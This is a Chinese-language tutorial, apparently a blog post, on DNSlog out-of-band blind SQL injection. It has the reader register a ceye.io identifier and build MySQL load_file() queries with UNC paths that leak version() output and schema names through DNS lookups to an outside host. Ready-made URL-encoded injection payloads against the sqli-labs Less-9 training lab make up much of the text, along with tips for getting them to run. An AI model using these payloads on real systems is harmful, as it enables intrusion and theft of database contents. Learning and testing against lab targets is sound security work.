Dnslog盲注原理
布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护
我们需要一种方式能够减少请求,直接回显数据——Dnslog注入
Dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息
Dnslog盲注方法
登录http://ceye.io/
网站并注册,得到属于自己的identifier
先尝试在终端运行curl dnslog.4ke30o.ceye.io
Mysql load_file()函数可以发起请求,LOAD_FILE()函数操作需要用户具有FILE权限
构造语句,利用load_file()函数发起请求,使用Dnslog接收请求,获取数据
只能在windows系统下使用load_file()发起请求,在Linux环境下不能使用load_file()发起请求
使用语句select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
在使用前务必记得设置secure_file_priv为"",我使用的是PHPstudy集成环境,所以访问http://localhost/phpMyAdmin4.8.5/
来使用SQL
重启mysql服务
使用语句,查询自己想要的数据,此处查询版本信息
以第九关为例(在windows上运行)
使用http://localhost/sqli-labs-master/index.html
进入SQLInjection页面
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20(select%20load_file(concat(%27\\\\%27,(select%20version()),%27.mysql.4ke30o.ceye.io\\abc%27)))--+
- 1
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20(select%20load_file(concat(%27\\\\%27,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),%27.mysql.4ke30o.ceye.io\\abc%27)))--+
- 1
一般来说,查询不到就说明语法有问题,可以先在mysql中尝试,在url中务必记得
1、?id=1’ and
2、and后面的语句要用括号括起来
3、不要忘记注释掉后面的语句–+或者%23
</article>